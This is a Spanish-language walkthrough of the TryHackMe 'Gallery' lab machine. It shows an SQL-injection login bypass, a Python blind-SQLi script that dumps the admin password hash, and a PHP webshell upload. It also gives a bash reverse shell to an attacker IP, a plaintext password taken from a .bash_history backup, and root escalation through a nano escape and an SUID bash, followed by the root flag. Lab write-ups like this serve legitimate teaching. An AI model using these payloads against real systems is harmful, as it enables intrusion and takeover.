Home Thm Gallery
Post
Cancel

Thm Gallery

Write up de la maquina Gallery de dificultad facil de la plataforma Tryhackme.

Enumeracion

Empezemos haciendo un escaneo de puerto a la maquina victima

1
2
3
4
5
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.47.107

PORT     STATE SERVICE    REASON
80/tcp   open  http       syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Intentemos detectar la version que corre para estos dos puertos y exportar el output en un archivo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -sCV -p80,8080 10.10.47.107 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-02 15:30 -05
Nmap scan report for 10.10.47.107
Host is up (0.25s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Simple Image Gallery System
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

Accedamos a la web para ver, en el puerto 80 solo tenemos una pagina predeterminada de apache.

Al acceder a la pagina web que corre en el puerto 8080 nos redirije a un panel de login.

Este login se puede bypassear con una inyeccion sql simple ' or 1=1-- -

La inyeccion sql es basada en la respuesta del lado del servidor, si quisieramos dumpear la contraseña del administrador lo podriamos hacer atraves de este script de python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3

import string, signal, pdb, requests
from pwn import *

def ctrl_c(sig, frame):

    print ("\n\n[!] Saliendo.\n")
    sys.exit(1)

# Ctr + C
signal.signal(signal.SIGINT, ctrl_c)

# Variables
url = 'http://10.10.47.107/gallery/classes/Login.php?f=login'
characters = 'abcdef' + string.digits


def SQlI():
    
    l1 = log.progress('SQLI')

    l1.status("Iniciando Ataque")
    
    password = ''

    time.sleep(1)
    
    l2 = log.progress('Password')

    for position in range(1,35):

        for character in characters:

            data_post = {
                    "username":"admin' and if(substring(password,%d,1)='%c',sleep(0),1)-- -" % (position, character),
                    "password":"admin"
                    }

            l1.status(data_post['username'])

            r = requests.post(url, data=data_post)

            if "success" not in r.text:
                
                password += character
                l2.status(password)
                break


if __name__ == "__main__":
    SQlI()

Lo ejecutamos y nos da la contraseña la cual esta en md5

1
2
3
❯ python3 sqlI.py
[.] SQLI: admin' and if(substring(password,34,1)='9',sleep(0),1)-- -
[◑] Password: a228b12a08b6527e7978cbe5d914531c

Bueno esta contraseña no nos va a servir para nada, como el login lo pudimos bypassear con ' or 1=1-- -, veamos que podemos hacer en este panel administrativo.

Si le echamos un ojo a la seccion de nuestra cuenta podemos subir un archivo

Creemos un archivo .php atraves del cual poder ejecutar comandos.

1
2
3
4
cat shell.php
<?php
	echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Si subimos este archivo y filtramos por shell.php en el codigo fuente de esta pagina podemos ver la ruta en la que se subio el archivo

Probemos si la webshell se subio correctamente y bueno tenemos Capacidad de Ejecutar comandos en el sistema.

1
2
❯ curl -s -X GET -G "http://10.10.47.107/gallery/uploads/1677791220_shell.php" --data-urlencode 'cmd=whoami' |html2text;echo
www-data

Mandemenos una revershell en la cual operar mas comodos

1
❯ curl -s -X GET -G "http://10.10.47.107/gallery/uploads/1677791220_shell.php" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.8.47.45/4444 0>&1"'

Y nos llega la consola

1
2
3
4
5
6
7
8
9
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.47.45] from (UNKNOWN) [10.10.1.214] 36086
bash: cannot set terminal process group (687): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gallery:/var/www/html/gallery/uploads$ whoami
whoami
www-data
www-data@gallery:/var/www/html/gallery/uploads$ 

Movimiento lateral

Enumerando el sistema me encontre con un directorio interesante, que parese ser el backup del directorio /home/mike

1
2
3
4
5
6
7
8
9
10
11
www-data@gallery:/var/backups$ cd /var/backups/
www-data@gallery:/var/backups$ ls -la
total 60
drwxr-xr-x  3 root root  4096 Mar  2 21:14 .
drwxr-xr-x 13 root root  4096 May 20  2021 ..
-rw-r--r--  1 root root 34789 Feb 12  2022 apt.extended_states.0
-rw-r--r--  1 root root  3748 Aug 25  2021 apt.extended_states.1.gz
-rw-r--r--  1 root root  3516 May 21  2021 apt.extended_states.2.gz
-rw-r--r--  1 root root  3575 May 20  2021 apt.extended_states.3.gz
drwxr-xr-x  5 root root  4096 May 24  2021 mike_home_backup
www-data@gallery:/var/backups$ 

Ingresemos al directorio para ver que archivos tiene

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@gallery:/var/backups$ cd mike_home_backup/
www-data@gallery:/var/backups/mike_home_backup$ ls -la
total 36
drwxr-xr-x 5 root root 4096 May 24  2021 .
drwxr-xr-x 3 root root 4096 Mar  2 21:14 ..
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
-rwxr-xr-x 1 root root  220 May 24  2021 .bash_logout
-rwxr-xr-x 1 root root 3772 May 24  2021 .bashrc
drwxr-xr-x 3 root root 4096 May 24  2021 .gnupg
-rwxr-xr-x 1 root root  807 May 24  2021 .profile
drwxr-xr-x 2 root root 4096 May 24  2021 documents
drwxr-xr-x 2 root root 4096 May 24  2021 images
www-data@gallery:/var/backups/mike_home_backup$ 

Si leemos el .bash_history vemos la contraseña del usuario mike en texto claro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@gallery:/var/backups/mike_home_backup$ cat .bash_history 
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit

Migremos a este usuario usando esta contraseña

1
2
3
4
5
www-data@gallery:/var/backups/mike_home_backup$ su mike
Password: 
mike@gallery:/var/backups/mike_home_backup$ whoami
mike
mike@gallery:/var/backups/mike_home_backup$ 

Escalada De Privilegios

Si vemos los privilegios que tenemos a nivel de sudoers podemos ejecutar un script de bash como root sin proporcionar contraseña

1
2
3
4
5
6
7
mike@gallery:/var/backups/mike_home_backup$ sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
mike@gallery:/var/backups/mike_home_backup$ 

Este es el script de bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mike@gallery:/var/backups/mike_home_backup$ cat /opt/rootkit.sh 
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac
mike@gallery:/var/backups/mike_home_backup$ 

Ya veo una via atraves de la cual ejecutar comandos, en el modo read, abre un archivo con nano, bueno en nano podemos ejecutar comandos solamente tenemos que presionar ctrl + r y ctrl + x, y despues poner el comando que queramos ejecutar.

Ejecutemos el script y pongamos read en el argumento que nos pide el script

1
2
mike@gallery:/var/backups/mike_home_backup$ sudo /bin/bash /opt/rootkit.sh 
Would you like to versioncheck, update, list or read the report ? read

Nos abre el archivo presionemos control + r y control + x, le voy asignar el privelegio suid a la bash para poder lanzarmela temporamente como el propietario, solo es ejecutar chmod u+s /bin/bash, para poder ejecutar este comando previamente tenemos que ejeuctar las dos combinaciones de teclas que mencione anteriormente.

ejecutamos bash -p para que nos de la consola como el propietario que es root, y hay podemos visualizar la flag.

1
2
3
4
5
6
mike@gallery:/var/backups/mike_home_backup$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}
bash-4.4# 

Gracias por leer

This post is licensed under CC BY 4.0 by the author.